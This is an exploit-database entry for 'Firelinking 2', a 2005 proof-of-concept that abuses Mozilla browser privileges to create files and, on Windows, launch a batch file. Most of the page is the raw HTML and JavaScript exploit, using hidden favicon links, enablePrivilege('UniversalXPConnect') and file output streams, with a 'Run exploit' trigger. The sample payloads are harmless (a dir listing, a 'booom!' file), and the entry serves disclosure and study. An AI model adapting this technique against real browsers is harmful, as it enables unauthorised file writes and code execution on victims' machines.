Firelinking 2 - Proof-of-Concept by mikx

vendor:

by:

mikx

N/A

CVSS

MEDIUM

Cross-platform file creation and execution

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux, MacOSX

Unknown

Firelinking 2 – Proof-of-Concept by mikx

This Proof-of-Concept (PoC) demonstrates a cross-platform vulnerability that allows the creation and execution of files. On Windows, it creates the file c:booom.bat and launches it, which opens a command prompt with a dir command. On Linux and MacOSX, it creates the file ~/booom.txt or /booom.txt. In some cases, the script might run twice, resulting in an additional booom-1.txt file.

Mitigation:

Implement proper input validation and filtering to prevent unauthorized file creation and execution. Regularly update and patch operating systems and applications to address known vulnerabilities.

Source

Exploit-DB raw data:

<html>
<head>
<title>Firelinking 2 - Proof-of-Concept by mikx</title>

<-- This PoC is cross platform : On Windows this example creates the file -->
<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
<-- run twice in some cases (this will create an additional booom-1.txt). -->

<link rel="SHORTCUT ICON" href="favicon.ico"> 
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML += 
document.getElementById('linkhtml_"+os+"').value",300);
} 
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
<br><br>
<div style="width:600px">
<div id="outhtml" style="display:none"></div>

<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
&lt;/textarea&gt;

<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('
javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.
nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">
&lt;/textarea&gt;

<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
&lt;/textarea&gt;

<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.
initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','','')">
&lt;/textarea&gt;
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run exploit</a>
</div>
</body>
</html>

# milw0rm.com [2005-05-21]